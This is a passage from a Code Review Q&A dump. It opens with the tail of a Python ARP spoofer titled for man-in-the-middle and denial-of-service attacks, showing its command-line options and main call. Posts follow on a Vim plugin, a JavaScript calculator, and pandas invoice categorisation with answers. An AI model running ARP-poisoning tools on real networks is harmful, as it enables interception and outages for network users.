help="Whether to attempt to reverse the ARP cache poisoning afterward.")
parser.add_argument("-t", "--total_time", default=60, type=int,
help="The total amount of time in seconds to run for.")
parser.add_argument("-b", "--burst_delay", default=3, type=int,
help="The delay in seconds between bursts of ARPs being sent out.")
parser.add_argument("-v", "--verbose", action="store_true",
help="Whether Scapy's verbose output should be show for all operations.")
args = parser.parse_args()
if len(args.ips) < 2:
print("At least two addresses should be specified.")
return
n_bursts = args.total_time // args.burst_delay
intercept_between(args.ips, args.burst_delay, n_bursts, args.recover_after, args.verbose)
if __name__ == '__main__':
main()
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T00:04:06.833",
"Id": "249466",
"Score": "1",
"Tags": [
"python",
"python-3.x",
"networking"
],
"Title": "ARP Spoofer to Set Up MitM and DOS attacks"
}
|
249466
|
<p>I've published a Vim plugin that nudges visually selected lines up or down, which for the most part seems to function as designed. However, I believe there are likely ways that this plugin could be improved.</p>
<hr />
<h2>Questions</h2>
<ul>
<li>How do I register a movement that takes an optional amount?</li>
</ul>
<blockquote>
<p>In other words how can this plugin differentiate between <kbd><kbd>Shift</kbd><sub>^</sub><kbd>J</kbd></kbd> and <kbd><kbd>3</kbd><kbd>Shift</kbd><sub>^</sub><kbd>J</kbd></kbd>?</p>
</blockquote>
<ul>
<li><p>Have I made any critical mistakes?</p>
</li>
<li><p>Are there any features that should be added?</p>
</li>
</ul>
<hr />
<h2>Requirements</h2>
<p>This plugin is tested on Linux based operating systems, but suggestions on how to make it OS agnostic are certainly welcomed; regardless Vim should be installed prior to using this plugin, eg...</p>
<pre><code>sudo apt-get install vim
</code></pre>
<hr />
<h2>Setup</h2>
<p><a href="https://github.com/vim-utilities/nudge-lines" rel="nofollow noreferrer" title="Repository for nudge-lines project">Source code</a> is maintained on GitHub, as are the documentation files and <a href="https://github.com/vim-utilities/nudge-lines/blob/main/.github/README.md" rel="nofollow noreferrer" title="Repository documentation"><code>README.md</code></a>. Included within this question are the TLDR and source <code>.vim</code> script code files.</p>
<pre><code>mkdir -vp ~/git/hub/vim-utilities
cd ~/git/hub/vim-utilities
git clone git@github.com:vim-utilities/nudge-lines.git
</code></pre>
<p>If <strong>not</strong> utilizing some form of Vim plugin manager, then the <a href="https://github.com/vim-utilities/nudge-lines/blob/main/linked-install.sh" rel="nofollow noreferrer" title="Bash script for symbolically linking plugin scripts and documentation"><code>linked-install.sh</code></a> script may be run on most 'nix devices...</p>
<pre><code>./linked-install.sh
</code></pre>
<p>... which will symbolically link plugin scripts and documentation, and update Vim documentation tags.</p>
<hr />
<h2>Usage</h2>
<p>After visually selecting a line, or range of lines, use the following keyboard shortcuts:</p>
<ul>
<li><p><kbd><kbd>Ctrl</kbd><sub>^</sub><kbd>k</kbd></kbd> Nudge visual selection up</p>
</li>
<li><p><kbd><kbd>Shift</kbd><sub>^</sub><kbd>K</kbd></kbd> Nudge visual selection up and reformat tabs</p>
</li>
<li><p><kbd><kbd>Ctrl</kbd><sub>^</sub><kbd>j</kbd></kbd> Nudge visual selection down</p>
</li>
<li><p><kbd><kbd>Shift</kbd><sub>^</sub><kbd>J</kbd></kbd> Nudge visual selection down and reformat tabs</p>
</li>
</ul>
<hr />
<h2>Source Code</h2>
<p><a href="https://github.com/vim-utilities/nudge-lines/blob/main/plugin/nudge-lines.vim" rel="nofollow noreferrer" title="Source code for `plugin/nudge-lines.vim` Vim script"><strong><code>plugin/nudge-lines.vim</code></strong></a></p>
<pre><code>#!/usr/bin/env vim
vnoremap <S-K> :call Nudge_Selection__Laterally(-1, 'reformat')<CR>
vnoremap <C-K> :call Nudge_Selection__Laterally(-1)<CR>
vnoremap <S-J> :call Nudge_Selection__Laterally(1, 'reformat')<CR>
vnoremap <C-J> :call Nudge_Selection__Laterally(1)<CR>
""
" Nudges visually selected lines up or down
" @param {number} a:amount - Signed integer of lines to nudge selection by
" @param {string[]} a:0 - Optionally reformat tabs
" @example
" :'<,'> call Nudge_Selection__Laterally(-1, 'reformat')
" @author S0AndS0
" @license AGPL-3.0
function! Nudge_Selection__Laterally(amount, ...) abort range
let l:not_visual_mode = visualmode() != 'V'
let l:at_limits__lower = a:lastline == line('$')
let l:at_limits__upper = a:firstline == 1
if l:not_visual_mode
\ || (a:amount > 0 && l:at_limits__lower)
\ || (a:amount < 0 && l:at_limits__upper)
normal! gv
return
endif
if a:amount > 0
let l:move_command = "'>+" . a:amount
elseif a:amount < 0
let l:move_command = "'<-" . (1 - a:amount)
else
throw 'amount must be greater or less than 0'
endif
execute "'<,'>move " . l:move_command
if a:0 == 0
normal! gv
else
normal! gv=gv
endif
silent! foldopen!
endfunction
</code></pre>
<blockquote>
<p>Side note, I'm not sure what's going on with syntax highlighting here, but as of latest revisions this plugin seem to function without error.</p>
</blockquote>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T05:04:07.947",
"Id": "489076",
"Score": "0",
"body": "Let me compare to copy feature (`y` shortcut). You usualy press y And then an up or down arrow, optionally some numbers between to denote number of lines. Yours could behave similary. Visualy select lines, press Shift+j, nothing happens yet, press arrow up, all moves one line up, press 6 and arrow down, all moves 6 lines down... Its more flexible IMHO And you have saved Shift+k for a different feature..."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T00:20:52.127",
"Id": "249468",
"Score": "2",
"Tags": [
"plugin",
"vimscript",
"vim"
],
"Title": "Vim plugin Nudge Lines"
}
|
249468
|
<p>How can I rewrite this if statement of which there are a lot. Or how, in principle, it can be rewritten to look good? This app is calculator. How it can be redone with a switch maybe. Or breaking it somehow into small functions</p>
<pre><code>function pressNumber(e) {
let digit;
if (typeof e === 'string') {
digit = e;
} else {
digit = e.target.innerText;
}
if (isHistoryOperator(history.innerText.length - 1) && input.innerText !== '-') {
input.innerText = '';
}
if (equalsPressed()) {
history.innerText = digit;
input.innerText = digit;
} else if (isHistoryTooLong() || isInputTooLong()) {
return;
} else if (input.innerText === '0' || input.innerText === '-0') {
history.innerText = history.innerText.slice(0, history.innerText.length - 1) + digit;
if (input.innerText === '0') {
input.innerText = digit;
} else {
input.innerText = '-' + digit;
}
} else {
history.innerText += digit;
input.innerText += digit;
}
}
function pressDecimal() {
if (equalsPressed() || input.innerText === '') {
history.innerText = '0.';
input.innerText = '0.';
return;
}
if (isHistoryOperator(history.innerText.length - 1) && input.innerText !== '-') {
input.innerText = '';
}
if (isHistoryTooLong() || isInputTooLong() || input.innerText.includes('.')) {
return;
} else if (isHistoryOperator(history.innerText.length - 1)) {
history.innerText += '0.';
input.innerText += '0.';
} else if (history.innerText[history.innerText.length - 1] !== '.') {
history.innerText += '.';
input.innerText += '.';
}
}
function pressOperator(e) {
let operator = e;
if (e === '-' && (isHistoryOperator(history.innerText.length - 1) || history.innerText === '')) {
pressPlusMinus();
return;
}
if (
history.innerText === '' ||
input.innerText.search(/[a-z><]/gi) !== -1 ||
(isHistoryOperator(history.innerText.length - 1) && isHistoryOperator(history.innerText.length - 2))
) {
return;
}
if (typeof e === 'string') {
operator = e;
} else {
operator = e.target.innerText;
}
if (equalsPressed()) {
history.innerText = input.innerText + operator;
} else if (isHistoryTooLong()) {
return;
} else if (isHistoryOperator(history.innerText.length - 1)) {
history.innerText = history.innerText.slice(0, history.innerText.length - 1) + operator;
} else {
history.innerText += operator;
}
}
function pressBackspace() {
if (history.innerText.search(/[a-z><]/gi) !== -1) {
input.innerText = '';
history.innerText = '';
return;
}
if (history.innerText === '') {
return;
}
if ((!isHistoryOperator(history.innerText.length - 1) || input.innerText === '-') && !equalsPressed()) {
input.innerText = input.innerText.slice(0, input.innerText.length - 1);
} else {
input.innerText = lastNoInHistory();
}
history.innerText = history.innerText.slice(0, history.innerText.length - 1);
}
function pressPlusMinus() {
if (equalsPressed() && !input.innerText.includes('-')) {
let historyIndex = history.innerText.lastIndexOf(input.innerText);
input.innerText = '-' + input.innerText;
history.innerText = history.innerText.slice(0, historyIndex) + input.innerText;
} else if (isHistoryTooLong() || isInputTooLong()) {
return;
} else if (history.innerText === '-') {
input.innerText = '';
history.innerText = '';
} else if (isHistoryOperator(history.innerText.length - 1) && !isHistoryOperator(history.innerText.length - 2)) {
input.innerText = '-';
history.innerText += '-';
} else if (!input.innerText.includes('-')) {
let historyIndex = history.innerText.lastIndexOf(input.innerText);
input.innerText = '-' + input.innerText;
history.innerText = history.innerText.slice(0, historyIndex) + input.innerText;
} else {
let historyIndex = history.innerText.lastIndexOf(input.innerText);
input.innerText = input.innerText.slice(1);
history.innerText = history.innerText.slice(0, historyIndex) + input.innerText;
}
}
function pressEquals() {
if (isHistoryOperator(history.innerText.length - 1) ||
history.innerText[history.innerText.length - 1] === '=' ||
history.innerText === ''
) {
return;
}
let numbersArray = history.innerText.split(/[^0-9.]+/g).filter(i => i !== '');
numbersArray = numbersArray.map(i => Number(i));
const operatorsArray = history.innerText.split(/[0-9.]+/g).filter(op => op !== '');
if (history.innerText[0] === '-') {
numbersArray[0] = -numbersArray[0];
operatorsArray.shift();
}
history.innerText += '=';
input.innerText = evaluate(numbersArray, operatorsArray).toString();
}
function evaluate(numbersArray, operatorsArray) {
for (let i = 0; i < operatorsArray.length; i++) {
if (operatorsArray[i][0] === '\xF7' || operatorsArray[i][0] === '\xD7') {
let evaluation = simpleEval(numbersArray[i], numbersArray[i + 1], operatorsArray[i]);
numbersArray.splice(i, 2, evaluation);
operatorsArray.splice(i, 1);
i--;
}
}
for (let i = 0; i < operatorsArray.length; i++) {
let evaluation = simpleEval(numbersArray[i], numbersArray[i + 1], operatorsArray[i]);
numbersArray.splice(i, 2, evaluation);
operatorsArray.splice(i, 1);
i--;
}
return output(numbersArray[0]);
function simpleEval(a, b, operation) {
switch (operation) {
case '+':
return a + b;
....
}
}
function output(n) {
if (Math.abs(n) < 1) {
return Number(n.toPrecision(8)).toString();
} else if (n > 9999999999 && Math.abs(n) !== Infinity) {
return '>9999999999';
} else if (n < -999999999 && Math.abs(n) !== Infinity) {
return '<-999999999';
} else if (
!Number(n.toPrecision(9))
.toString()
.includes('.')
) {
return Number(n.toPrecision(10)).toString();
}
return Number(n.toPrecision(9)).toString();
}
}
function isHistoryOperator(i) {
return (
history.innerText[i] === '+' ||
history.innerText[i] === '\xF7' ||
history.innerText[i] === '\xD7' ||
history.innerText[i] === '-'
);
}
function equalsPressed() {
return history.innerText[history.innerText.length - 1] === '=' || history.innerText === '';
}
function isHistoryTooLong() {
return history.innerText.length > 20;
}
function isInputTooLong() {
return input.innerText.length >= 10;
}
function lastNoInHistory() {
let number = history.innerText
.split(/[^0-9.]+/g)
.filter(i => i !== '')
.pop();
if (history.innerText.endsWith('-' + number, history.innerText.length - 1)) {
number = '-' + number;
}
return number;
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T05:15:29.913",
"Id": "489079",
"Score": "2",
"body": "Welcome to Code Review! I [changed the title](https://codereview.stackexchange.com/posts/249471/revisions) so that it describes what the code does per [site goals](https://codereview.stackexchange.com/questions/how-to-ask): \"_State what your code does in your title, not your main concerns about it._\". Feel free to [edit] and give it a different title if there is something more appropriate."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T08:18:15.527",
"Id": "489090",
"Score": "0",
"body": "Do you have any working examples of the code?"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T03:47:20.793",
"Id": "249471",
"Score": "1",
"Tags": [
"javascript",
"calculator"
],
"Title": "calculator logic"
}
|
249471
|
<p>I have invoice and code data in the below Dataframes</p>
<p><strong>Invoices</strong></p>
<pre><code>df = pd.DataFrame({
'invoice':[1,1,2,2,2,3,3,3,4,4,4,5,5,6,6,6,7],
'code':[101,104,105,101,106,106,104,101,104,105,111,109,111,110,101,114,112],
'qty':[2,1,1,3,2,4,7,1,1,1,1,4,2,1,2,2,1]
})
+---------+------+-----+
| invoice | code | qty |
+---------+------+-----+
| 1 | 101 | 2 |
+---------+------+-----+
| 1 | 104 | 1 |
+---------+------+-----+
| 2 | 105 | 1 |
+---------+------+-----+
| 2 | 101 | 3 |
+---------+------+-----+
| 2 | 106 | 2 |
+---------+------+-----+
| 3 | 106 | 4 |
+---------+------+-----+
| 3 | 104 | 7 |
+---------+------+-----+
| 3 | 101 | 1 |
+---------+------+-----+
| 4 | 104 | 1 |
+---------+------+-----+
| 4 | 105 | 1 |
+---------+------+-----+
| 4 | 111 | 1 |
+---------+------+-----+
| 5 | 109 | 4 |
+---------+------+-----+
| 5 | 111 | 2 |
+---------+------+-----+
| 6 | 110 | 1 |
+---------+------+-----+
| 6 | 101 | 2 |
+---------+------+-----+
| 6 | 114 | 2 |
+---------+------+-----+
| 7 | 112 | 1 |
+---------+------+-----+
</code></pre>
<p><strong>Codes</strong></p>
<pre><code>Hot = [103,109]
Juice = [104,105]
Milk = [106,107,108]
Dessert = [110,111]
</code></pre>
<p>My task is to add a now column, <code>category</code> based on the following priorities:</p>
<ol>
<li><p>If any invoice has more than <span class="math-container">\$10\$</span> <code>qty</code> it should be categorized as "Mega".<br />
E.g. The total <code>qty</code> of invoice 3 is <span class="math-container">\$12\$</span> - <span class="math-container">\$4 + 7 + 1\$</span>.</p>
</li>
<li><p>If any of the <code>invoice</code>'s <code>code</code>s are in the <em>milk list</em>; the category should be "Healthy".<br />
E.g. Invoice 2 contains the code 106 which is in the milk list. So the entire invoice is categorized as <code>Healthy</code> regardless of other items.</p>
</li>
<li><p>If any of the <code>invoices</code>'s <code>code</code>s are in the <em>juice list</em>;</p>
<ol>
<li><p>If the total <code>qty</code> of juices is equal to 1; the category should be "OneJuice".<br />
E.g. Invoice 1 has <code>code</code> 104 and <code>qty</code> 1.</p>
</li>
<li><p>Otherwise; the category should be "ManyJuice".<br />
E.g. Invoice 4 has <code>code</code>s 104 and 105 with a total <code>qty</code> of 2 - <span class="math-container">\$1 + 1\$</span>.</p>
</li>
</ol>
</li>
<li><p>If any of the <code>invoices</code>'s <code>code</code>s are in the <em>hot list</em>; the category should be "HotLovers".</p>
</li>
<li><p>If any of the <code>invoices</code>'s <code>code</code>s are in the <em>dessert list</em>; the category should be "DessertLovers".</p>
</li>
<li><p>All other other invoice should be categorized as "Others".</p>
</li>
</ol>
<p>My desired output is as below.</p>
<pre><code>+---------+------+-----+---------------+
| invoice | code | qty | category |
+---------+------+-----+---------------+
| 1 | 101 | 2 | OneJuice |
+---------+------+-----+---------------+
| 1 | 104 | 1 | OneJuice |
+---------+------+-----+---------------+
| 2 | 105 | 1 | Healthy |
+---------+------+-----+---------------+
| 2 | 101 | 3 | Healthy |
+---------+------+-----+---------------+
| 2 | 106 | 2 | Healthy |
+---------+------+-----+---------------+
| 3 | 106 | 4 | Mega |
+---------+------+-----+---------------+
| 3 | 104 | 7 | Mega |
+---------+------+-----+---------------+
| 3 | 101 | 1 | Mega |
+---------+------+-----+---------------+
| 4 | 104 | 1 | ManyJuice |
+---------+------+-----+---------------+
| 4 | 105 | 1 | ManyJuice |
+---------+------+-----+---------------+
| 4 | 111 | 1 | ManyJuice |
+---------+------+-----+---------------+
| 5 | 109 | 4 | HotLovers |
+---------+------+-----+---------------+
| 5 | 111 | 2 | HotLovers |
+---------+------+-----+---------------+
| 6 | 110 | 1 | DessertLovers |
+---------+------+-----+---------------+
| 6 | 101 | 2 | DessertLovers |
+---------+------+-----+---------------+
| 6 | 114 | 2 | DessertLovers |
+---------+------+-----+---------------+
| 7 | 112 | 1 | Others |
+---------+------+-----+---------------+
</code></pre>
<p>I have got the following. It works but it seems pretty naive and not at all Pythonic.<br />
When I apply it to the original dataset the code is also very slow.</p>
<pre><code># Calculating Priority No.1
L = df.groupby(['invoice'])['qty'].transform('sum') >= 10
df_Large = df[L]['invoice'].to_frame()
df_Large['category'] = 'Mega'
df_Large.drop_duplicates(['invoice'], inplace=True)
# Calculating Priority No.2
df_1 = df[~L] # removing Priority No.1 calculated above
M = (df_1['code'].isin(Milk)
.groupby(df_1['invoice'])
.transform('any'))
df_Milk = df_1[M]['invoice'].to_frame()
df_Milk['category'] = 'Healthy'
df_Milk.drop_duplicates(['invoice'], inplace=True)
# Calculating Priority No.3
# 3.a Part -1
df_2 = df[~L & ~M] # removing Priority No.1 & 2 calculated above
J_1 = (df_2['code'].isin(Juice)
.groupby(df_2['invoice'])
.transform('sum') == 1)
df_SM = df_2[J_1]['invoice'].to_frame()
df_SM['category'] = 'OneJuice'
df_SM.drop_duplicates(['invoice'], inplace=True)
# 3.b Part -2
J_2 = (df_2['code'].isin(Juice)
.groupby(df_2['invoice'])
.transform('sum') > 1)
df_MM = df_2[J_2]['invoice'].to_frame()
df_MM['category'] = 'ManyJuice'
df_MM.drop_duplicates(['invoice'], inplace=True)
# Calculating Priority No.4
df_3 = df[~L & ~M & ~J_1 & ~J_2] # removing Priority No.1, 2 & 3 (a & b) calculated above
H = (df_3['code'].isin(Hot)
.groupby(df_3['invoice'])
.transform('any'))
df_Hot = df_3[H]['invoice'].to_frame()
df_Hot['category'] = 'HotLovers'
df_Hot.drop_duplicates(['invoice'], inplace=True)
# Calculating Priority No.5
df_4 = df[~L & ~M & ~J_1 & ~J_2 & ~H ] # removing Priority No.1, 2, 3 (a & b) and 4 calculated above
D = (df_4['code'].isin(Dessert)
.groupby(df_4['invoice'])
.transform('any'))
df_Dessert = df_4[D]['invoice'].to_frame()
df_Dessert['category'] = 'DessertLovers'
df_Dessert.drop_duplicates(['invoice'], inplace=True)
# merge all dfs
category = pd.concat([df_Large,df_Milk,df_SM,df_MM,df_Hot,df_Dessert], axis=0,sort=False, ignore_index=True)
# Final merge to the original dataset
df = df.merge(category,on='invoice', how='left').fillna(value='Others')
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T23:44:27.917",
"Id": "489187",
"Score": "0",
"body": "Are the inputs guaranteed to be ordered? Will invoice 1 always come before invoice 2."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T05:52:50.013",
"Id": "489198",
"Score": "0",
"body": "line items of invoice numbers are guaranteed to be grouped together. regards to invoice number order. I can sort them prior to this operation"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T07:21:18.310",
"Id": "489203",
"Score": "0",
"body": "there is a bug in your code. If an invoice has 1 line with a juice code and a quantity more than 1, it classifies is as `OneJuice` instead of `ManyJuice`. Or your description is wrong"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T07:26:37.987",
"Id": "489205",
"Score": "0",
"body": "Yes. the logic should be, if an invoice has one line and it is a Juice code, the qty of which is greater than 1 should be `ManyJuice`. can you let me know exactly which line you're referring to."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T08:36:56.653",
"Id": "489209",
"Score": "1",
"body": "I guess the error is in `(df_2['code'].isin(Juice)\n.groupby(df_2['invoice'])\n.transform('sum') > 1)`. This counts the number of lines of juices in an invoice, without taking the quantities into account"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T09:24:42.427",
"Id": "489216",
"Score": "1",
"body": "`J_1 = (df_2[\"qty\"] * df_2[\"code\"].isin(Juice)).groupby(\n df_2[\"invoice\"]\n ).transform(\"sum\") == 1` and the same change for `J_2` seems to fix it"
}
] |
[
{
"body": "<p>Your code is pretty impressive. Many python programmers don't know how to use pandas as well as you. Your code might not <em>look</em> very "Pythonic", but you did a great job utilizing vectorized methods with indexing. In this answer, I include one section on Python code conventions and a second attempting to optimizing your code.</p>\n<p><strong>Python Code Conventions</strong></p>\n<p>Many companies have standardized style guides that make code easier to read. This is invaluable when many people write to the same code base. Without consistency, the repo would degrade to a mess of idiosyncrasies.</p>\n<p>You should consider adopting the following code conventions to make your code easier to read:</p>\n<ol>\n<li>Follow standard variable naming conventions: <a href=\"https://google.github.io/styleguide/pyguide.html#316-naming\" rel=\"nofollow noreferrer\">Google Python Style Guide On Naming</a></li>\n<li>Include a space after commas: <a href=\"https://google.github.io/styleguide/pyguide.html#36-whitespace\" rel=\"nofollow noreferrer\">Google Python Style Guide On Spaces</a></li>\n</ol>\n<pre><code># most python programmers use CaseLikeThis (pascal case) for class names\n# constants are often written in CASE_LIKE_THIS (snake case)\nSODA = [101, 102]\nHOT = [103, 109]\nJUICE = [104, 105] # remember spaces after commas\nMILK = [106, 107, 108]\nDESSERT = [110, 111]\n</code></pre>\n<p><strong>Attempt to Optimize</strong></p>\n<p>To optimize your code, you should time how long each step takes. This can be done by checking the clock before and after a segment of code.</p>\n<pre><code>import time\n\nt0 = time.time() # check clock before (milliseconds elapsed since jan 1, 1970)\n# segment you want to measure; something like your group by or merge...\nt1 = time.time() # check clock after\ntime_to_run_step = t1 - t0\n</code></pre>\n<p>By measuring how long each step takes to run, you can focus your energy optimizing the slowest steps. For example, optimizing a 0.1 second operation to be 100x faster is less good than optimizing a 10 second operation to be 2x faster.</p>\n<p>When thinking how to optimize your code, two questions came to mind:</p>\n<ol>\n<li>Can we apply the priorities in backward order to avoid filtering already categorized priorities?</li>\n<li>Can we perform all the group by work at the same time?</li>\n</ol>\n<p>Group by and merge are expensive operations since they generally scale quadratically (# of invoices X # of codes). I bet these are the slowest steps in your code, but you should time it to check.</p>\n<pre><code># Act 1: set up everything for the big group by\n# priority 1\n# will be setup at the end of Act 2\n\n# priority 2\ndf['milk'] = df['code'].isin(MILK)\n\n# priority 3.a\n# priority 3.b\njuice = df['code'].isin(JUICE)\ndf['juice_qty'] = df['qty']\ndf.loc[~juice, 'juice_qty'] = 0 # I thought df['juice_qty'][~juice] was intuitive, but it gave a warning https://pandas.pydata.org/pandas-docs/stable/user_guide/indexing.html#returning-a-view-versus-a-copy\n# distinguish single from many juice in Act 2\n\n# priority 4\ndf['hot'] = df['code'].isin(HOT)\n\n# priority 5\ndf['dessert'] = df['code'].isin(DESSERT)\n\n\n# Act 2: the big group by and merge\ninvoices = df.groupby(['invoice']).agg({\n 'qty': 'sum',\n 'milk': 'any',\n 'juice_qty': 'sum',\n 'hot': 'any',\n 'dessert': 'any',\n}).rename(columns={\n 'qty': 'total', # this is renamed because joining with duplicate names leads to qty_x and qty_y\n 'juice_qty': 'juice_total',\n})\n# priority 1\ninvoices['mega'] = invoices['total'] >= 10\n\n# priority 3.a\n# priority 3.b\ninvoices['one_juice'] = invoices['juice_total'] == 1\ninvoices['many_juice'] = invoices['juice_total'] > 1\n\ndf = df.merge(invoices, on='invoice', how='left')\n\n\n# Act 3: apply the categories\n# apply the categories in reverse order to overwrite less important with the more important\ndf['category'] = 'Others'\ndf.loc[df['dessert_y'], 'category'] = 'DessertLovers'\ndf.loc[df['hot_y'], 'category'] = 'HotLovers'\ndf.loc[df['many_juice'], 'category'] = 'ManyJuice'\ndf.loc[df['one_juice'], 'category'] = 'OneJuice'\ndf.loc[df['milk_y'], 'category'] = 'Healthy'\ndf.loc[df['mega'], 'category'] = 'Mega'\n\ndf = df[['invoice', 'code', 'qty', 'category']] # get the columns you care about\n</code></pre>\n<p><em>@Tommy and @MaartenFabré noticed a bug with how single and many juice was categorized. I edited this answer with a correction.</em></p>\n<p><strong>Edit: There are quite a few answers for this question spanning into stack overflow as well. Below a summary as of 09/20/2020.</strong></p>\n<p><a href=\"https://i.stack.imgur.com/Gva6J.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Gva6J.png\" alt=\"Performance of various answers\" /></a></p>\n<ul>\n<li>original <a href=\"https://codereview.stackexchange.com/q/249474/230673\">Priority based categorization using pandas/python</a></li>\n<li>one_group_by <a href=\"https://codereview.stackexchange.com/a/249481/230673\">https://codereview.stackexchange.com/a/249481/230673</a></li>\n<li>np_select <a href=\"https://stackoverflow.com/a/63947686/14308614\">https://stackoverflow.com/a/63947686/14308614</a></li>\n<li>np_select_where <a href=\"https://codereview.stackexchange.com/a/249586/230673\">https://codereview.stackexchange.com/a/249586/230673</a></li>\n<li><a href=\"https://codereview.stackexchange.com/a/249486/230673\">https://codereview.stackexchange.com/a/249486/230673</a> was not plotted because the time complexity was different</li>\n</ul>\n<p>Performance was plotted using the code from <a href=\"https://stackoverflow.com/a/63947686/14308614\">https://stackoverflow.com/a/63947686/14308614</a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T08:59:41.540",
"Id": "489095",
"Score": "1",
"body": "Thank you. you've mentioned many valid points. really liked your thought process on applying the priorities on reverse order and doing all the grouping at one go . now I'm not a position to get hold of my laptop. once, available, will apply this to my original dataset and will share the results. tc"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T13:40:36.347",
"Id": "489127",
"Score": "1",
"body": "thank you. this code is much faster than than mine. however, there's a small issue. the category for `invoice 4` is not correctly calculated. it should be `ManyJuice`. but your code calculates to `OneJuice`. I think it doesn't add up the individual qty total of codes `codes 104 & 105` of `invoice 4`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T07:02:17.073",
"Id": "489201",
"Score": "0",
"body": "@MaartenFabré thank you. can you let me know what does `invoices_one_juice` dataframe means in your code. is it same as `invoices['one_juice']`? and where does all these codes to be placed?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T07:05:33.013",
"Id": "489202",
"Score": "0",
"body": "You'll need something like `invoices_one_juice = df[juice].groupby(\"invoice\")[\"qty\"].sum() == 1`, `df['one_juice'] = invoices_one_juice.reindex(df[\"invoice\"]).fillna(False).values`, `df['many_juice'] = (~invoices_one_juice).reindex(df[\"invoice\"]).fillna(False).values `"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T08:31:32.880",
"Id": "489207",
"Score": "0",
"body": "that was what you get when you rename it and run it without restarting the kernel.."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T08:32:51.403",
"Id": "489208",
"Score": "0",
"body": "@MaartenFabré after incorporating your code snippet to this answer. It works as expected. I'll check all possible scenarios for further assurance. Thank you really appreciate your support."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T08:45:46.317",
"Id": "489210",
"Score": "0",
"body": "@MaartenFabré note on speed. now this code takes around a minute only in my actual dataset `11mn rows 10 columns`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T05:02:12.820",
"Id": "489358",
"Score": "0",
"body": "@Tommy I am back with upvote and comment privileges. I believe I fixed the juice categorization"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T05:56:38.650",
"Id": "489360",
"Score": "0",
"body": "@JoshDawson appreciate your answer. In this thread, your solution was better in terms of speed/performance and code readability and adaptability. Hence, Accepted. However, please do check the solution in the SO platform I received. I think it stands out in every way. (https://stackoverflow.com/questions/63908535/priority-based-categorization-using-pandas-python)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T07:52:54.770",
"Id": "489375",
"Score": "0",
"body": "Tommy I agree; however, using the test data from mikksu 's answer, it looks like @GZ0 's has considerable performance improvements. Being more readable, mikksu's is likely easier to maintain."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T07:53:46.240",
"Id": "489376",
"Score": "1",
"body": "The speed may already suit your needs, but one last performance idea would be to batch the invoices for parallelization. Because invoices don't depend on each other, the invoices could easily be split up."
}
],
"meta_data": {
"CommentCount": "11",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T08:32:51.087",
"Id": "249481",
"ParentId": "249474",
"Score": "5"
}
},
{
"body": "<p>Instead of grouping by the invoice on each category, I would reverse the logic.\nGroup per invoice, and then classify that invoice.</p>\n<pre><code>categories = pd.concat(\n classify_invoice(data) for invoice, data in df.groupby("invoice")\n)\n</code></pre>\n<blockquote>\n<pre><code>| | 0 |\n|---:|:--------------|\n| 0 | OneJuice |\n| 1 | OneJuice |\n| 2 | Healthy |\n| 3 | Healthy |\n| 4 | Healthy |\n| 5 | Mega |\n| 6 | Mega |\n| 7 | Mega |\n| 8 | ManyJuice |\n| 9 | ManyJuice |\n| 10 | ManyJuice |\n| 11 | HotLovers |\n| 12 | HotLovers |\n| 13 | DessertLovers |\n| 14 | DessertLovers |\n| 15 | DessertLovers |\n| 16 | Others |\n</code></pre>\n</blockquote>\n<p>Then to add this to the result, you can assign.</p>\n<pre><code>result = df.assign(category=categories)\n</code></pre>\n<p>Here I used <code>assign</code>, which returns a new DataFrame. I do this on purpose, so you can keep your original DataFrame intact. Changes inplace to your original DataFrame can be a source of errors.</p>\n<h1>Classifier</h1>\n<p>Then we just need to design the classifier. Here we need a function that accepts a DataFrame that covers exactly 1 invoice, and returns a series with the category, with the same index as the invoice.</p>\n<h2>Priority 1</h2>\n<p>The priority 1 then is easy:</p>\n<pre><code>def classify_invoice(order: pd.DataFrame) -> pd.Series:\n if order["qty"].sum() > 10:\n return pd.Series("Mega", index=order.index)\n</code></pre>\n<h2>Priority 2</h2>\n<p>Priority 2 is also very easy:</p>\n<pre><code> milk_codes = {106, 107, 108}\n if order["code"].isin(milk_codes).any():\n return pd.Series("Healthy", index=order.index)\n</code></pre>\n<p>Notice that I renamed the variable <code>Milk</code> to <code>milk_codes</code>, since that better describes what it means, and that I converted it to a <code>set</code>, since that is the datastructure meant for containment checks</p>\n<h2>further priorities</h2>\n<pre><code>def classify_invoice(order: pd.DataFrame) -> pd.Series:\n if order["qty"].sum() > 10:\n return 